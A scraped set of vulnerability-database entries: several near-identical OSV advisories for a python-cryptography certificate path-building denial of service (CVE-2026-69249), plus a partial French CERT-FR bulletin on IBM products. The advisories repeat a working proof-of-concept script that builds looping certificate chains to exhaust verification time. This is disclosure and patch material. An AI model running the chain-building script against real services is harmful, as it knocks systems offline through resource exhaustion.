digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.",
"id": "BREW-ansible@9-CVE-2026-69249",
"modified": "2026-09-09T23:41:06Z",
"published": "2026-08-13T16:35:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/14960"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/3763aa79b"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"upstream": [
"GHSA-jwv3-5hgf-82ww",
"CVE-2026-69249",
"PYSEC-2026-3553"
]
}
brew-azure-cli-cve-2026-69249
Vulnerability from osv_homebrew
Summary
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
Details
The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.
fn build_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mut Budget,
) -> ValidationResult<'chain, Chain<'chain, B>, B> {
if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
// Look in the store's root set to see if the working cert is listed.
// If it is, we've reached the end.
if self.store.contains(working_cert) {
return Ok(vec![working_cert.clone()]);
}
// Check that our current depth does not exceed our policy-configured
// max depth. We do this after the root set check, since the depth
// only measures the intermediate chain's length, not the root or leaf.
if current_depth > self.policy.max_chain_depth {
return Err(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
// Otherwise, we collect a list of potential issuers for this cert,
// and continue with the first that verifies.
let mut last_err: Option<ValidationError<'_, B>> = None;
for issuing_cert_candidate in self.potential_issuers(working_cert) {
// A candidate issuer is said to verify if it both
// signs for the working certificate and conforms to the
// policy.
let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
match self.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
match self.build_chain_inner(
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
for issuing_cert_candidate in self.potential_issuers(working_cert) {
. . .
Ok(_) => {
if seen_valid_issuers.contains(&issuing_cert_candidate) {
continue;
}
seen_valid_issuers.push(issuing_cert_candidate);
match self.build_chain_inner(
issuing_cert_candidate,
// NOTE(ww): According to RFC 5280, we should only
In testing, this fix removed the exponential blowup without breaking apparent correctness.
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC
The following script benchmarks processing times for malicious cert chains.
import datetime
import multiprocessing
import time
import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
def name(common_name):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
def base_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
)
def make_ca(common_name, serial):
private_key = ec.generate_private_key(ec.SECP256R1())
subject = name(common_name)
cert = (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
return private_key, cert
def make_leaf(issuer_key, issuer_cert):
private_key = ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
def build_material():
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
return leaf, looping_ca, unrelated_root
def verify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root = build_material()
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * duplicates)
result = "accepted"
except VerificationError:
result = "rejected"
queue.put((result, time.perf_counter() - start))
def run_case(duplicates, max_depth):
queue = multiprocessing.Queue()
process = multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
if process.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
return
result, elapsed = queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if __name__ == "__main__":
print("duplicates,max_depth,result,seconds")
for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "cryptography",
"resource_purl": "pkg:pypi/cryptography@48.0.1",
"upstream_fixed_in": "49.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "azure-cli",
"purl": "pkg:brew/azure-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cryptography@48.0.1",
"name": "cryptography",
"resource": "cryptography",
"strategy": "registry",
"subject_version": "48.0.1"
}
]
},
"details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n \u0026self,\n working_cert: \u0026VerificationCertificate\u003c\u0027chain, B\u003e,\n current_depth: u8,\n working_cert_extensions: \u0026Extensions\u003c\u0027chain\u003e,\n name_chain: NameChain\u003c\u0027_, \u0027chain\u003e,\n budget: \u0026mut Budget,\n ) -\u003e ValidationResult\u003c\u0027chain, Chain\u003c\u0027chain, B\u003e, B\u003e {\n if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n }\n\n // Look in the store\u0027s root set to see if the working cert is listed.\n // If it is, we\u0027ve reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain\u0027s length, not the root or leaf.\n if current_depth \u003e self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option\u003cValidationError\u003c\u0027_, B\u003e\u003e = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n \u0026issuer_extensions,\n ) {\n Ok(_) =\u003e {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c\u0027chain, B\u003e\u003e::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) =\u003e {\n if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s, -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s, -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s, -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.",
"id": "BREW-azure-cli-CVE-2026-69249",
"modified": "2026-09-09T23:43:05Z",
"published": "2026-08-13T16:37:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/14960"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/3763aa79b"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"upstream": [
"GHSA-jwv3-5hgf-82ww",
"CVE-2026-69249",
"PYSEC-2026-3553"
]
}
brew-cryptography-cve-2026-69249
Vulnerability from osv_homebrew
python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.
| URL | Type | ||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "49.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "cryptography",
"purl": "pkg:brew/cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "50.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "git",
"upstream_evidence": [
{
"ecosystem": "GIT",
"key": "https://github.com/pyca/cryptography",
"name": "https://github.com/pyca/cryptography",
"strategy": "git",
"subject_version": "50.0.1"
},
{
"ecosystem": "PyPI",
"key": "pkg:pypi/cryptography@50.0.1",
"name": "cryptography",
"strategy": "registry",
"subject_version": "50.0.1"
}
]
},
"details": "python-cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. In versions 42.0.0 through 48.0.0, when resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack. The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability. This issue is fixed in 49.0.0.",
"id": "BREW-cryptography-CVE-2026-69249",
"modified": "2026-09-09T23:49:07Z",
"published": "2026-08-13T16:41:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/69xxx/CVE-2026-69249.json"
},
{
"type": "ADVISORY",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
},
{
"type": "ADVISORY",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
},
{
"type": "FIX",
"url": "https://github.com/pyca/cryptography/commit/3763aa79b"
},
{
"type": "FIX",
"url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
},
{
"type": "FIX",
"url": "https://github.com/pyca/cryptography/pull/14960"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building",
"upstream": [
"CVE-2026-69249",
"GHSA-jwv3-5hgf-82ww",
"PYSEC-2026-3553"
]
}
CERTFR-2026-AVI-1094
Vulnerability from certfr_avis - Published: 2026-08-28 - Updated: 2026-08-28
De multiples vulnérabilités ont été découvertes dans les produits IBM. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une élévation de privilèges et un déni de service à distance.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| IBM | WebSphere | WebSphere Application Server Liberty versions 17.0.0.3 à 26.0.0.7 sans le correctif de sécurité PH71585 | ||
| IBM | QRadar | QRadar SIEM versions 7.5.x antérieures à 7.5.0 UP15 IF06 | ||
| IBM | Tivoli | Tivoli System Automation Application Manager version 4.1 avec WebSphere Application Server sans les derniers correctifs de sécurité | ||
| IBM | Sterling | Sterling Control Center version 6.3.1.0 antérieure à 6.3.1.0 iFix11 | ||
| IBM | Db2 | Db2 versions 11.5.x antérieures à 11.5.9 sans le dernier correctif de sécurité | ||
| IBM | Sterling | Sterling Connect:Direct File Agent versions 1.4.0.3x à 1.4.0.5x antérieures à 1.4.0.5_iFix016 | ||
| IBM | Db2 | Db2 versions 12.1.x antérieures à 12.1.4 sans le dernier correctif de sécurité | ||
| IBM | Spectrum | Spectrum Control versions antérieures à 5.5 | ||
| IBM | Sterling | Sterling Control Center version 6.4.2.0 antérieure à 6.4.2.0 iFix06 | ||
| IBM | QRadar | QRadar SIEM versions 7.6.x antérieures à 7.6.0.3 | ||
| IBM | QRadar | Security QRadar EDR versions 3.12.x antérieures à 3.12.26 | ||
| IBM | WebSphere | WebSphere Hybrid Edition version 5.1 sans les correctifs de sécurité APAR DT496328, DT496327 et DT497580 | ||
| IBM | Db2 | Db2 Genius Hub & Agentics versions 1.1.x antérieures à 1.1.4 | ||
| IBM | Tivoli | Tivoli Application Dependency Discovery Manager versions 7.3.0.0 à 7.3.0.12 avec WebSphere Application Server Liberty versions antérieures à 26.0.0.8 | ||
| IBM | WebSphere | WebSphere Extreme Scale versions 8.6.1.x antérieures à 8.6.1.6 avec le correctif de sécurité PH72588 | ||
| IBM | Sterling | Sterling Connect:Direct for Unix versions 6.3.0.x antérieures à 6.3.0.7.iFix026 | ||
| IBM | Sterling | Sterling Connect:Direct for Unix versions 6.4.0.x antérieures à 6.4.0.6.iFix014 | ||
| IBM | QRadar | QRadar Suite Software versions 1.10.12.0 à 1.11.10.0 antérieures à 1.11.12.0 | ||
| IBM | QRadar | QRadar AI Assistant versions antérieures à 2.2.0 |
| Title | Publication Time | Tags | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "WebSphere Application Server Liberty versions 17.0.0.3 \u00e0 26.0.0.7 sans le correctif de s\u00e9curit\u00e9 PH71585",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.5.x ant\u00e9rieures \u00e0 7.5.0 UP15 IF06",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Tivoli System Automation Application Manager version 4.1 avec WebSphere Application Server sans les derniers correctifs de s\u00e9curit\u00e9",
"product": {
"name": "Tivoli",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Control Center version 6.3.1.0 ant\u00e9rieure \u00e0 6.3.1.0 iFix11",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 versions 11.5.x ant\u00e9rieures \u00e0 11.5.9 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Connect:Direct File Agent versions 1.4.0.3x \u00e0 1.4.0.5x ant\u00e9rieures \u00e0 1.4.0.5_iFix016",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Db2 versions 12.1.x ant\u00e9rieures \u00e0 12.1.4 sans le dernier correctif de s\u00e9curit\u00e9",
"product": {
"name": "Db2",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Spectrum Control versions ant\u00e9rieures \u00e0 5.5",
"product": {
"name": "Spectrum",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Sterling Control Center version 6.4.2.0 ant\u00e9rieure \u00e0 6.4.2.0 iFix06",
"product": {
"name": "Sterling",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "QRadar SIEM versions 7.6.x ant\u00e9rieures \u00e0 7.6.0.3",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "Security QRadar EDR versions 3.12.x ant\u00e9rieures \u00e0 3.12.26",
"product": {
"name": "QRadar",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
"description": "WebSphere Hybrid Edition version 5.1 sans les correctifs de s\u00e9curit\u00e9 APAR DT496328, DT496327 et DT497580",
"product": {
"name": "WebSphere",
"vendor": {
"name": "IBM",
"scada": false
}
}
},
{
